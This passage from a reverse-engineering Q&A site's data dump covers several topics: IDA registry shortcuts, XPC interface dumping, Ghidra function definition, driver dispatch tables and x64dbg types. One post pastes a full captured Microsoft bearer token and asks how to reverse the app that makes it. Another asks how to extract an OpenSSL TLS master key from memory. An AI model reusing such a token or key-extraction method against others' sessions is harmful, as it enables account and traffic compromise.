Trace&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If using Visual Studio you can also use &lt;a href=&quot;https://docs.microsoft.com/en-us/visualstudio/debugger/intellitrace&quot; rel=&quot;nofollow noreferrer&quot;&gt;IntelliTrace feature&lt;/a&gt; to record a debugging trace.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-18T22:33:48.773" LastActivityDate="2020-11-18T22:33:48.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26336" PostTypeId="2" ParentId="26307" CreationDate="2020-11-18T23:11:29.550" Score="1" Body="&lt;p&gt;Create a text file with content below and save as .REG file. Open .REG file to import into registry. Change the IDA cmd line as appropriate for your system.&#xA;For more details refer to Microsoft's documentation on &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/shell/context-menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;Context Menus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00&#xA;&#xA;[HKEY_CLASSES_ROOT\*\shell\IDA 32]&#xA;&amp;quot;Icon&amp;quot;=&amp;quot;\&amp;quot;C:\\Program Files\\IDA Pro 7.5\\ida.exe\&amp;quot;&amp;quot;&#xA;&#xA;[HKEY_CLASSES_ROOT\*\shell\IDA 32\Command]&#xA;@=&amp;quot;\&amp;quot;C:\\Program Files\\IDA Pro 7.5\\ida.exe\&amp;quot; \&amp;quot;%1\&amp;quot; &amp;quot;&#xA;&#xA;[HKEY_CLASSES_ROOT\*\shell\IDA 64]&#xA;&amp;quot;Icon&amp;quot;=&amp;quot;\&amp;quot;C:\\Program Files\\IDA Pro 7.5\\ida64.exe\&amp;quot;&amp;quot;&#xA;&#xA;[HKEY_CLASSES_ROOT\*\shell\IDA 64\Command]&#xA;@=&amp;quot;\&amp;quot;C:\\Program Files\\IDA Pro 7.5\\ida64.exe\&amp;quot; \&amp;quot;%1\&amp;quot; &amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-11-19T01:02:25.407" LastActivityDate="2020-11-19T01:02:25.407" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26337" PostTypeId="1" AcceptedAnswerId="26338" CreationDate="2020-11-18T02:27:08.503" Score="0" ViewCount="159" Body="&lt;p&gt;I'm reading &lt;a href=&quot;https://insinuator.net/2020/11/forklift-lpe/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;, and it says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;The following functions are exposed over XPC to the caller:&#xA;&#xA;@protocol _TtP4main21ForkLiftHelperProtcol_&#xA;- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;&#xA;- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can one dump all the protocols and its methods?&lt;/p&gt;&#xA;" OwnerUserId="5878" OwnerDisplayName="daisy" LastActivityDate="2020-11-19T07:49:09.660" Title="Dumping available XPC interface and methods" Tags="|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26338" PostTypeId="2" ParentId="26337" CreationDate="2020-11-19T06:19:46.470" Score="0" Body="&lt;p&gt;Found it: &lt;a href=&quot;https://github.com/nygard/class-dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nygard/class-dump&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;class-dump is a command-line utility for examining the Objective-C&#xA;segment of Mach-O files. It generates declarations for the classes,&#xA;categories and protocols. This is the same information provided by&#xA;using 'otool -ov', but presented as normal Objective-C declarations&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It works for PrivilegedHelperTools mostly, but not for normal applications.&lt;/p&gt;&#xA;" OwnerUserId="5878" OwnerDisplayName="daisy" LastActivityDate="2020-11-19T06:19:46.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26339" PostTypeId="2" ParentId="26333" CreationDate="2020-11-19T19:27:13.747" Score="0" Body="&lt;p&gt;A few things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is best if you report Recaf issues on the &lt;a href=&quot;https://github.com/Col-E/Recaf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recaf github page&lt;/a&gt;, not a 3rd party platform&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You &lt;strong&gt;can still edit&lt;/strong&gt; but the recompilation feature is disabled due to the inability to find the local Java compiler. Most of Recaf is based on the assembler, which you can find documentation on here: &lt;a href=&quot;https://www.coley.software/Recaf/doc-edit-modes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Class editing modes&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This problem may still persist after a basic installation of Java 8 because the required platform tools are not added to the classpath. There is documentation on what files are required, where they are, and where you need to place them here: &lt;a href=&quot;https://www.coley.software/Recaf/doc-setup-8.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Java 8 setup&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively you can update to Java 11 or higher where none of this configuration is necessary.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20336" LastActivityDate="2020-11-19T19:27:13.747" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26340" PostTypeId="1" CreationDate="2020-11-19T23:18:35.613" Score="4" ViewCount="1813" Body="&lt;p&gt;I analyzed a binary, and lots of functions weren't detected as such - the bytes weren't detected as assembly. I read about the Aggressive Instruction Finder analysis and used it. Now the instructions are detected, but the functions (at least some) aren't.&lt;/p&gt;&#xA;&lt;p&gt;For a single function, I know that I can press F to define it. Is there any way to do that automatically for all/most undefined functions?&lt;/p&gt;&#xA;&lt;p&gt;Example for an undefined function:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KN028.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KN028.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8546" LastActivityDate="2020-11-20T13:15:17.050" Title="Defining all undefined functions" Tags="|binary-analysis|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26341" PostTypeId="1" CreationDate="2020-11-20T06:24:21.607" Score="1" ViewCount="119" Body="&lt;p&gt;I am reverse engineering a Windows device driver. My main previous experience was with drivers I had written before, or toy drivers from tutorials.&lt;/p&gt;&#xA;&lt;p&gt;I started reversing the driver by searching for IOCTL handlers. However, in the initial driver entry the Driver Object struct lines up such that the function that appears to contain IOCTLs aligns with the &amp;quot;FasIODispatch&amp;quot; member. I am on the fence as to whether this is a mistake on my part, or whether it makes sense to define IOCTLs in a Fast I/O dispatch table.&lt;/p&gt;&#xA;&lt;p&gt;Here is what I mean:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UEZfn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UEZfn.png&quot; alt=&quot;Driver Object Offsets&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now deep nested within that function, there are many comments directly describing the contents as IOCTL handling code.&lt;/p&gt;&#xA;&lt;p&gt;For instance note the following debug string in the driver:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3IfUs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3IfUs.png&quot; alt=&quot;Debug Strings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, the help here is to help me understand whether this is:&#xA;a) Me misinterpreting the driver object struct offsets such that a MAJOR_FUNCTION is missed and place of FastIoDispatch&#xA;b) A sensible interpretation where a fastIo Dispatch table includes definitions of IO Controls.&lt;/p&gt;&#xA;&lt;p&gt;I am leaning towards B, but I do not have the experience with FastIO file driver development to know what a fastio file driver dispatch table would look like. The reason I am concerned I have something wrong is that all of the data I have seen so far makes it seem like one would IRP handling structures and FastIO separately. Mixing the two would seem to me as if it were against the point of using FastIO, but who knows what driver developers do in practice.&lt;/p&gt;&#xA;&lt;p&gt;Please let me know if there's anything else I can do to help device this. Note this is a 3rd party device driver I am RE'ing in my spare time. I'm not sure what the policy is here, but I'm not sure I should post the name if you want to RE it yourself.&lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2020-11-20T06:24:21.607" Title="Windows: Is it possible to mix FastIoDispatch with the registration of IOCTLs?" Tags="|windows|driver|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26342" PostTypeId="2" ParentId="26340" CreationDate="2020-11-20T13:15:17.050" Score="2" Body="&lt;p&gt;In ida you can make use of a idapython function called &lt;code&gt;MakeFunction&lt;/code&gt;. You can basically iterate through the code and define undefined functions.&lt;/p&gt;&#xA;&lt;p&gt;ExampleScipts: &lt;a href=&quot;https://www.programcreek.com/python/example/102513/idc.MakeFunction&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA MakeFunction&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However If you ask this question specifically for Ghidra then I believe there's a plugin to run idapython scipts in Ghidra.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/daenerys-sre/source&quot; rel=&quot;nofollow noreferrer&quot;&gt;Run IDAPython scripts in Ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2020-11-20T13:15:17.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26345" PostTypeId="1" CreationDate="2020-11-22T13:02:21.560" Score="2" ViewCount="127" Body="&lt;p&gt;I'm trying to make a website that displays the feedback from the Windows 10 Feedback Hub but i have met a roadblock. I'm using Fiddler 4 (Fiddler Everywhere doesn't have support for UWP yet and WireShark didn't give me much data) to see the requests being sent to Microsoft's servers.&#xA;I have tracked down that the request that receives the feedbacks is the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;GET https://uif.microsoft.com/FeedbackCloudService.svc/feedbacks?&amp;amp;language=en-US&amp;amp;sortCategory=0&amp;amp;searchCategory=1&amp;amp;feedbacksFilter=0&amp;amp;issueFilter=0&amp;amp;statusFilter=0&amp;amp;buildFilter=0&amp;amp;userFilter=1&amp;amp;filterFormFactor=1&amp;amp;isRefresh=False&amp;amp;hasSticky=False&amp;amp;useCol=1 HTTP/1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this request require a Bearer token (not JWT) which changes each day. The token is never being received from any of the previous requests sent what i can gather so I assume it's being generated locally in the app. Example of what that token can look like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Bearer t=EwAgA6V3BAAUGPuzwScRsx1D3Ae+Cp5u2pto1vUAAb8PDcrWR7+vMEF4YZMTWJmipBhl8htHXLaRgddZ7MtcdDscYYsiLZgX7BhPCLB8sSJtzvaA2N73lMP80jv+vSk180vi7FAtgIzRGk9VPFn5Ogs3M2ysJVv5m/r8DXIJ8IHyki726AgreMpm2BW0UPCmcKUY1KFJh/Vmdc9n1woMJYaUh5DhSPndHhoN4F51vlt6ZZ6Pg6fmX7YreEj+4RdUgmRe9JD2L+BwRmwPpbls821UdhspQ5rQskH5HanqoKm9k1iWxiutno2EWW1aVbCPrPFNVjmpawz9vsT8RMIhD919g9YQagudz8ezLaR7vWBfnbRM+yMt/yjNROJzfcQDZgAACKFy0iuQaBDL8AGPGDzJEYGt9XjfIMdTU+2T3/O8yBB19wengT93OCEUNIJz1xZ36i3LeNVaGl0lv+Rl2HAvRNywf/YwQjpQ7bxY1KbmvLmLTYGwea8XigCgHwJIcg+vxnDEwmIgdt+tewlRFGdPmlDAK4TS6tusq/kl1mGWrR25fVqwoS1D4EyhaQB12OQIVXo+hiIR9ZIHgcc6OOJ75G2SADNRACxH8sA3gPLNCtQgJxQEinmUOjZr1HepstvSFq5TI21hUuk5cwxWEINdjvZeCg75KCWf3582MZvEWwEX3MuOw6BJmhuW0prwp8kL/WaOypfb7wXXWFuk1drYWEEMfz1raXnsNf9vR3Kp4+kS6lM5giOdrsWx3UpqSFGqGhTwlDdexpwW+vgkxh3jutWetYvBl+7R00faU+rxj0CrEMKev8HnEuJVfBv20UQ5b4GFq2w73PzDjH61NW8YplI7UggfDLRKnfPtT5ZuOISRJUtY9RjKUYfgN7PJouY4bAx24qepaDpqfHkJIB0n5qMQ/TmCukL2BT5CrNQIoUt0W6ii+U2sq31V0fbpMlGq9EjWTiDQ171VJiJ2YXQn/iHaamq6I4lYT5Rw1jxw465GU+FkrqX1lSQnlYDWqMctT/HDG2gF1KZ9nT56RqRnoWxjFqVr5+jQn+zIIgI=&amp;amp;p=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So now I wonder if there's any way to crack open the Feedback Hub app and see how this token is being generated or where it's getting it from. I know pretty much nothing about RE and especially not about UWP RE since it's not dotnet so I can't use dotPeek on it or similar.&#xA;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="34990" LastActivityDate="2020-11-22T13:02:21.560" Title="Accessing Windows 10 Feedback Hub Data" Tags="|windows|decompilation|windows-10|api-hacking|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26346" PostTypeId="1" CreationDate="2020-11-22T14:04:16.480" Score="1" ViewCount="746" Body="&lt;p&gt;I'm trying to extract master key from OpenSSL 1.0.2l (statically linked without debug symbols).&lt;/p&gt;&#xA;&lt;p&gt;I'm using x64dbg, I was able to locate &lt;code&gt;int SSL_connect(SSL *s)&lt;/code&gt; method, so I have a breakpoint there (the breakpoint gets hit). In the result, I have a pointer to &lt;code&gt;SSL&lt;/code&gt; parameter that contains &lt;code&gt;SSL_SESSION *session&lt;/code&gt; member, in which the master key is located.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;SSL&lt;/code&gt; pointer points me the following place in dump:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KkgLe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkgLe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there any easy way to find my poiner to &lt;code&gt;SSL_SESSION *session&lt;/code&gt; member here? Any other tool suggestions?&lt;/p&gt;&#xA;&lt;p&gt;Useful links to OpenSSL source code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/openssl/openssl/blob/OpenSSL_1_0_2-stable/ssl/ssl_lib.c#L1002&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;int SSL_connect(SSL *s)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/openssl/openssl/blob/OpenSSL_1_0_2-stable/ssl/ssl.h#L1422&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SSL&lt;/code&gt; structure&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/openssl/openssl/blob/OpenSSL_1_0_2-stable/ssl/ssl.h#L1539&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SSL_SESSION *session&lt;/code&gt; member in &lt;code&gt;SSL&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/openssl/openssl/blob/OpenSSL_1_0_2-stable/ssl/ssl.h#L505&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SSL_SESSION&lt;/code&gt; structure&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34991" LastActivityDate="2021-04-22T00:08:40.970" Title="Analyse structure from memory dump" Tags="|debugging|memory-dump|openssl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26347" PostTypeId="2" ParentId="26308" CreationDate="2020-11-22T23:03:58.383" Score="0" Body="&lt;p&gt;As I understand it the Multiprocessor Specification is the only Intel document that references this, with the following info&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PIC Mode is software compatible with the PC/AT because it actually&#xA;employs the same hardware interrupt configuration. As Figure 3-2&#xA;illustrates, the hardware for PIC Mode bypasses the APIC components by&#xA;using an interrupt mode configuration register (IMCR). This register&#xA;controls whether the interrupt signals that reach the BSP come from&#xA;the master PIC or from the local APIC. Before entering Symmetric I/O&#xA;Mode, either the BIOS or the operating system must switch out of PIC&#xA;Mode by changing the IMCR. &lt;a href=&quot;https://i.stack.imgur.com/qiV74.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qiV74.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; The&#xA;IMCR is supported by two read/writable or write-only I/O ports, 22h&#xA;and 23h, which receive address and data respectively. To access the&#xA;IMCR, write a value of 70h to I/O port 22h, which selects the IMCR.&#xA;Then write the data to I/O port 23h. The power-on default value is&#xA;zero, which connects the NMI and 8259 INTR lines directly to the BSP.&#xA;Writing a value of 01h forces the NMI and 8259 INTR signals to pass&#xA;through the APIC. The IMCR must be cleared after a system-wide INIT or&#xA;RESET to enable the PIC Mode as default. (Refer to Section 3.7 for&#xA;information on the INIT and RESET signals.) The IMCR is optional if&#xA;PIC Mode is not implemented. The IMCRP bit of the MP feature&#xA;information bytes (refer to Chapter 4) enables the operating system to&#xA;detect whether the IMCR is implemented.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Example use case can be found in linux kernel within APIC.c:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torvalds/linux/blob/master/arch/x86/kernel/apic/apic.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torvalds/linux/blob/master/arch/x86/kernel/apic/apic.c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However these documents supersede the Multiprocessor specification and don't reference IMCR:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/articles/acpi-config-power-interface-spec.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ACPI Config Power Interface Spec&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://software.intel.com/contennotet/www/us/en/develop/download/intel-64-architecture-x2apic-specification.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel 64 Architecture x2APIC Specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-11-22T23:03:58.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26348" PostTypeId="2" ParentId="26346" CreationDate="2020-11-22T23:25:24.623" Score="-1" Body="&lt;p&gt;I would use the x64dbg methods to add a custom type:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can do this using a combination of these &lt;a href=&quot;https://help.x64dbg.com/en/latest/commands/types/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;commands&lt;/a&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DataUnknown&lt;/li&gt;&#xA;&lt;li&gt;DataByte/db&lt;/li&gt;&#xA;&lt;li&gt;DataWord/dw&lt;/li&gt;&#xA;&lt;li&gt;DataDword/dw&lt;/li&gt;&#xA;&lt;li&gt;DataFword&lt;/li&gt;&#xA;&lt;li&gt;DataQword/dq&lt;/li&gt;&#xA;&lt;li&gt;DataTbyte&lt;/li&gt;&#xA;&lt;li&gt;DataOwordD&lt;/li&gt;&#xA;&lt;li&gt;DataMmword&lt;/li&gt;&#xA;&lt;li&gt;DataXmmword&lt;/li&gt;&#xA;&lt;li&gt;DataYmmword&lt;/li&gt;&#xA;&lt;li&gt;DataFloat/DataReal4/df&lt;/li&gt;&#xA;&lt;li&gt;DataDouble/DataReal8&lt;/li&gt;&#xA;&lt;li&gt;DataLongdouble/DataReal10&lt;/li&gt;&#xA;&lt;li&gt;DataAscii/da&lt;/li&gt;&#xA;&lt;li&gt;DataUnicode/du&lt;/li&gt;&#xA;&lt;li&gt;DataCode/dc&lt;/li&gt;&#xA;&lt;li&gt;DataJunk&lt;/li&gt;&#xA;&lt;li&gt;DataMiddle&lt;/li&gt;&#xA;&lt;li&gt;AddType&lt;/li&gt;&#xA;&lt;li&gt;AddStruct&lt;/li&gt;&#xA;&lt;li&gt;AddUnion&lt;/li&gt;&#xA;&lt;li&gt;AddMember&lt;/li&gt;&#xA;&lt;li&gt;AppendMember&lt;/li&gt;&#xA;&lt;li&gt;AddFunction&lt;/li&gt;&#xA;&lt;li&gt;AddArg&lt;/li&gt;&#xA;&lt;li&gt;AppendArg&lt;/li&gt;&#xA;&lt;li&gt;SizeofType&lt;/li&gt;&#xA;&lt;li&gt;VisitType&lt;/li&gt;&#xA;&lt;li&gt;ClearTypes&lt;/li&gt;&#xA;&lt;li&gt;RemoveType&lt;/li&gt;&#xA;&lt;li&gt;EnumTypes&lt;/li&gt;&#xA;&lt;li&gt;LoadTypes&lt;/li&gt;&#xA;&lt;li&gt;ParseTypes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Create a type definition in types &lt;a href=&quot;https://gist.github.com/mrexodia/e949ab26d5986a5fc1fa4944ac68147a#file-types-json&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON&lt;/a&gt; example:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;{&#xA;&amp;quot;types&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;unsigned int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;DWORD&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;_FILETIME*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;LPFILETIME&amp;quot;&#xA;}&#xA;],&#xA;&amp;quot;structs&amp;quot;: [&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;ST&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;char&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;a&amp;quot;,&#xA;&amp;quot;arrsize&amp;quot;: 0,&#xA;&amp;quot;offset&amp;quot;: -1&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;y&amp;quot;,&#xA;&amp;quot;arrsize&amp;quot;: 0,&#xA;&amp;quot;offset&amp;quot;: -1&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;_FILETIME&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;DWORD&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;dwLoDateTime&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;DWORD&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;dwHighDateTime&amp;quot;&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;BLUB&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;short&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;c&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;d&amp;quot;,&#xA;&amp;quot;arrsize&amp;quot;: 2&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;TEST&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;a&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;char&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;b&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;BLUB&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;e&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;f&amp;quot;&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;POINTEE&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;n&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;TEST&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;t&amp;quot;&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;POINTER&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;x&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;POINTEE*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;next&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;y&amp;quot;&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;LIST_ENTRY&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;x&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;LIST_ENTRY*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;next&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;y&amp;quot;&#xA;}&#xA;]&#xA;},&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;STRINGTEST&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;const char*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;str&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;const wchar_t*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;wstr&amp;quot;&#xA;}&#xA;]&#xA;}&#xA;],&#xA;&amp;quot;unions&amp;quot;: [&#xA;{&#xA;&amp;quot;name&amp;quot;: &amp;quot;UT&amp;quot;,&#xA;&amp;quot;members&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;char&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;a&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;short&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;b&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;c&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;long long&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;d&amp;quot;&#xA;}&#xA;]&#xA;}&#xA;],&#xA;&amp;quot;functions&amp;quot;: [&#xA;{&#xA;&amp;quot;rettype&amp;quot;: &amp;quot;int&amp;quot;,&#xA;&amp;quot;callconv&amp;quot;: &amp;quot;cdecl&amp;quot;,&#xA;&amp;quot;noreturn&amp;quot;: false,&#xA;&amp;quot;name&amp;quot;: &amp;quot;strcasecmp&amp;quot;,&#xA;&amp;quot;arguments&amp;quot;: [&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;const char*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;s1&amp;quot;&#xA;},&#xA;{&#xA;&amp;quot;type&amp;quot;: &amp;quot;const char*&amp;quot;,&#xA;&amp;quot;name&amp;quot;: &amp;quot;s2&amp;quot;&#xA;}&#xA;]&#xA;}&#xA;]&#xA;}&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Load a &lt;a 